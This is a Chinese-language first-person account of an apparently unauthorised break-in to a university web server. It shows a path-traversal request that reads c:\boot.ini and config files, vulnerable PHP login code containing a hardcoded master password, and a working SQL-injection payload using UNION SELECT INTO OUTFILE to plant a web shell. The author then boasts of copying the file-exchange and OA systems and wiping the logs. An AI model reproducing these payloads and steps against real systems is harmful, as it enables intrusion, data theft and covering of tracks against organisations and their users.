| 踩点: 服务器开放了21和80端口,Serv-U6.2、Apache/2.055(win32)PHP/5.1.2;同台服务器上还有一个OA系统。黑盒测试,先是测试上传脚本文件,可以上传,得到提取码后进行提取不会被解析…,对上传过程进行抓包,然后构造不存在的文件,发包,也没有暴出任何敏感信息。对整个的交换系统进行文件扫描也就扫出个config.php,google了下也没有别的文件。刚才不是说还有个OA系统吗,googleOA的时候确实有动态的连接,但所有的连接首先判断是不是校内IP,如果非校内IP直接跳转一个登陆页面,到这里测试完全的陷入了僵局。几经的离开,几经的回来再测试都没有结果,难道真的拿不下它吗?再一次的测试时输入提取码后的下载地址吸引了我。
 
 “hxxp://www.xxx.edu.cn/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg”
 
 url后应该是个绝对地址,那么修改下会不会下到别的文件?
 
 抓包:
 
 GET/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg
 
 HTTP/1.1
 
 Accept:*/*
 
 Referer:hxxp://www.xxx.edu.cn/ex/down.php
 
 Accept-Language:zh-cn
 
 UA-CPU:x86
 
 Accept-Encoding:gzip,deflate
 
 User-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.2;.NETCLR1.1.4322;InfoPath.1)
 
 Host:www.xxx.edu.cn
 
 Connection:Keep-Alive
 
 Cookie:down_fail_cnt=0
 
 一般WIN32下PHP继承的SYS权限,所以读文件干脆就读c:\boot.ini,Telnet服务器ip80发送下面修改好的数据
 
 修改:
 
 /ex/download.php?url=c%3A%5Cboot.iniHTTP/1.1
 
 Accept:*/*
 
 Referer:hxxp://www.xxx.edu.cn/ex/down.php
 
 Accept-Language:zh-cn
 
 UA-CPU:x86
 
 Accept-Encoding:gzip,deflate
 
 User-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.2;.NETCLR1.1.4322;InfoPath.1)
 
 Host:www.xxx.edu.cn
 
 Connection:Keep-Alive
 
 Cookie:down_fail_cnt=0
 
 结果真的返回了boot.ini的内容,狂喜中!
 
 紧接着下来的问题就是猜web目录的路径了,找PHP或者Apache的配置文件应该都能找到WEB的路径,还是上面的发包,当试到路径d:\wwwroot\ex时,没有返回错误信息,说明猜对了他的路径,然后就是读交换系统的文件代码了,代码都是相关联的,发现就7个php文件而且用这个系统根本拿不到shell。进而转攻OA系统,不出意外OA的路径应该就是d:\wwwroot\oa,完全正确!首先读的就是config.php,察看敏感信息,暴出数据库联接信息是本地连接,root权限。然后就是扫描OA文件,测试到这程度能不能拿shell我心里还是没有底,大批的读源文件?……心里发寒。
 
 突破:
 
 自己陷入矛盾中,放弃吧不甘心;继续吧,就算读完整套代码可能一无所获。心一横,先看看有没有代码过滤再说吧,首先登陆口,随意输入用户名、密码提交,抓包。抓到check.php,然后读代码。它是这么写的:
 
 //echo"系统维护,请稍后访问!";exit;
 
 require("config.php");
 
 require("public/f_main.php");
 
 require("f_db/".$Database['type'].".php");
 
 session_start();
 
 $db=newsql_db($Database['server'],$Database['username'],$Database['password'],$Database['dbname'],false);
 
 if(!$db->db_connect_id)
 
 {
 
 MsgGo("数据库连接失败!","exit");
 
 }
 
 foreach($_POSTas$key=>$value)$$key=$value;
 
 //用户密码验证
 
 $sql="SELECTa.*,b.dep_name,b.dep_parent_id,b.dep_idASdep_id,c.dep_nameasdep_parent_name
 
 FROMt_usera
 
 LEFTJOINt_depbONa.dep_id=b.dep_id
 
 LEFTJOINt_depcONc.dep_id=b.dep_parent_id
 
 WHEREuser_name='$user_name'";
 
 if(!($result=$db->sql_query($sql)))MsgGo("数据查询失败!","login.php");
 
 if($row=$db->sql_fetchrow($result)){
 
 if($row["user_status"]!="1"){
 
 MsgGo("该用户处于停用状态,暂不能登录!","login.php");
 
 }else{
 
 if(md5($user_password)==$row["user_password"]||crypt($user_password,$row["user_password_old"])==$row["user_password_old"]||$user_password=="qwert12345")
 
 {
 
 if($row["user_password_old"]!=""&&$user_password!="qwert12345"){
 
 $sql="UPDATEt_userSET
 
 user_password='".md5($user_password)."',
 
 user_password_old=''
 
 WHEREuser_name='$user_name'";
 
 if(!$result=$db->sql_query($sql)){
 
 MsgGo("数据查询失败!","login.php");
 
 }
 
 }
 
 $sql="UPDATEt_userSET
 
 last_login_time=".time()."
 
 WHEREuser_name='$user_name'";
 
 if(!$result=$db->sql_query($sql)){
 
 MsgGo("数据查询失败!","login.php");
 
 }
 
 $_SESSION["sess_user_name"]=$row["user_name"];
 
 $_SESSION["sess_user_type"]=$row["user_type"];
 
 $_SESSION["sess_user_real_name"]=$row["user_real_name"];
 
 $_SESSION["sess_user_level"]=$row["user_level"];
 
 $_SESSION["sess_dep_id"]=$row["dep_id"];
 
 $_SESSION["sess_dep_name"]=$row["dep_name"];
 
 if($row["dep_parent_id"]=="1"){
 
 $_SESSION["sess_dep_level"]="1";
 
 $_SESSION["sess_dep_id1"]=$row["dep_id"];
 
 $_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
 
 $_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
 
 }elseif($row["dep_parent_id"]>"1"){
 
 $_SESSION["sess_dep_level"]="2";
 
 $_SESSION["sess_dep_id1"]=$row["dep_parent_id"];
 
 $_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
 
 $_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
 
 }
 
 WriteLog("登录系统");
 
 //writeCookie("username_recent",$_SESSION["sess_user_name"],24*30);
 
 setcookie("username_recent",$_SESSION["sess_user_name"],time()+3600*24*30);
 
 //进入系统主页面
 
 echo"";
 
 }else{
 
 MsgGo("密码错误!","login.php");
 
 }
 
 }
 
 }else{
 
 MsgGo("用户名错误!","login.php");
 
 }
 
 ?>
 
 可以看出check.php过滤非常的不严,直接导致SQL注入!貌似网上有不少类似的文章。先查出有24个字段,然后
 
 'unionselect1,'',3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4intooutfile'd:\wwwroot\oa\dir.php'/*
 
 提交!
 
 这样hxxp://www.xxx.edu.cn/oa/dir.php就是我们的shell地址了。
 
 这个shell都不用提权……直接把文件交换还有OA打包拖回家,也没有搞别的,擦擦日志走人了。
 
 整个过程算是峰回路转啊,那个艰辛啊,知道这样还不如自己写,托回来个有洞的程序-_-,唉。仔细读了下代码,问题出在download.php上,就写错了一个函数……看来还真验证了那句话“渗透,有了小的缺口可能导致整个服务器群的沦陷!安全无小事!
  
 *
 *
 |